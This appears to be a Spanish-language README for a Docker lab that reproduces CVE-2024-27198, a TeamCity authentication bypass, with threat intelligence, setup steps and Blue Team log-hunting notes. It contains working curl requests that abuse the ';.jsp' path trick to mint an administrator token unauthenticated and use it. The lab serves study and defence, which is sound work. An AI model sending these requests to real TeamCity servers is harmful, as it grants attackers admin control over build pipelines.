CVE-2024-27198_Lab

Tabla de contenidos

• Acerca del proyecto
  • Detalles del CVE
  • Construido con
• Inteligencia de amenazas y OSINT
  • Impacto y explotación en el mundo real
  • Por qué este CVE es crítico
• Primeros pasos
  • Requisitos previos
  • Instalación y configuración del laboratorio
• Pasos para reproducir y explotar
  • Portal de inicio de sesión
  • Probar la vulnerabilidad
  • Generar token de administrador
  • Verificar el token
  • Eliminar el token
  • Blue Team: búsqueda de IoC en los registros
  • Detener los contenedores
• Mitigación y detección
  • Análisis técnico (CWE-288)
  • Indicadores de compromiso (IoC)
  • Detección en registros (regla Sigma)
  • Demostración en vivo de SIEM (Blue Team)
  • Remediación
  • Detección de red (regla Suricata / Snort)
  • Probar la versión parcheada
• Enlaces

Acerca del proyecto

TeamCity proporciona una página exclusiva para administradores para la gestión de tokens que no está protegida por autenticación. Esto permite que un usuario no autenticado genere un token de acceso para el usuario administrador si puede encontrar el ID de un usuario existente.

Este repositorio contiene un laboratorio Dockerizado completo y reproducible con entornos de TeamCity vulnerable (:8111) y parcheado (:8112), scripts de explotación automatizados (exploit.py), guías de búsqueda de registros para Blue Team y un simulador de eventos SIEM en vivo (siem_simulator.py).

Detalles del CVE

• ID de CVE: CVE-2024-27198
• CWE: CWE-288 (Bypass de autenticación mediante una ruta o canal alternativo)
• CNA: JetBrains s.r.o.
• Puntuación base: 9.8 CRÍTICA
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • AV:N — Red
  • AC:L — Baja
  • PR:N — Ninguno
  • UI:N — Ninguno
  • S:U — Sin cambios
  • C:H — Alta
  • I:H — Alta
  • A:H — Alta

Construido con

• 
• 
• 
• 
• 

Inteligencia de amenazas y OSINT

Impacto y explotación en el mundo real

• Catálogo KEV de CISA: Añadido el 7 de marzo de 2024, lo que confirma la explotación activa en el mundo real.
• Actores de amenazas: Explotado por múltiples grupos de ransomware y APT, en particular el grupo de ransomware BianLian y la variante de ransomware Jasmin. Los atacantes utilizaron este bypass para crear cuentas de administrador fraudulentas, desplegar plugins maliciosos y ejecutar código arbitrario (RCE) para moverse lateralmente dentro de las redes de las víctimas.
• Perfil objetivo: Las canalizaciones CI/CD son objetivos de alto valor (ataques a la cadena de suministro). Comprometer TeamCity permite a los atacantes inyectar código malicioso en las compilaciones de software, robar código fuente y extraer secretos de despliegue (claves de AWS, certificados).

Por qué esta CVE es crítica

La vulnerabilidad reside en el mecanismo de enrutamiento de la API REST. Al añadir caracteres específicos (como ?jsp=/app/rest/...;.jsp) a un endpoint no autenticado, los atacantes pueden engañar al servidor web de TeamCity para que enrute la solicitud a un endpoint autenticado mientras eluden los filtros de seguridad. Esto no requiere ningún conocimiento ni acceso previo, lo que lo convierte en un CVSS puro de 9.8.

Primeros pasos

Para obtener una copia local de este laboratorio y ponerlo en funcionamiento, siga estos sencillos pasos de ejemplo.

Requisitos previos

• Docker y Docker Compose
• Python 3.10+
• curl

Instalación y configuración del laboratorio

1. Clone el repositorio

   git clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
   

2. Cambiar de directorio

   cd CVE-2024-27198_Lab
   

3. Iniciar los contenedores

   docker compose up -d
   

• Accede a la instancia vulnerable de TeamCity en: http://localhost:8111
• Accede a la instancia parcheada de TeamCity en: http://localhost:8112

Pasos para reproducir y explotar

Portal de inicio de sesión

Nombre de usuario:

admin

Contraseña:

admin

Probar la vulnerabilidad

Solicitud GET para un recurso sin autenticación:

curl -i http://localhost:8111/app/rest/users

curl -i http://localhost:8112/app/rest/users

Ambos deberían devolver un error con el código de estado 401.

Generar un token para el usuario admin

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Esto debería devolver un token como este (el token es diferente cada vez):

eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Esto debería devolver un error con el código de estado 401 porque la instancia parcheada no tiene la vulnerabilidad.

Verificar token

curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Debería devolver la lista de usuarios.

Eliminar el token

1. Ve a http://localhost:8111 con la cuenta de administrador.
2. Haz clic en el icono de perfil en la esquina superior derecha.
3. Ve a Profile -> Access Tokens.
4. Verás el token "REDTEAM".
5. Simplemente haz clic en Delete junto al token.

Blue Team: Caza de IoCs en los registros (El factor de sigilo)

Durante la demostración en el laboratorio, puedes mostrar un hallazgo masivo del Blue Team: por defecto, ¡esta vulnerabilidad es increíblemente sigilosa!

1. Los registros de acceso de Tomcat están deshabilitados por defecto en la imagen Docker de TeamCity, por lo que las solicitudes HTTP ;.jsp no se registran.
2. El registro de auditoría de TeamCity no registra la creación de tokens a través de la API REST.

Entonces, ¿cómo lo detectamos? ¡Cuando el atacante borra sus rastros! Cuando el atacante elimina su token malicioso para ocultarse, TeamCity sí registra eso.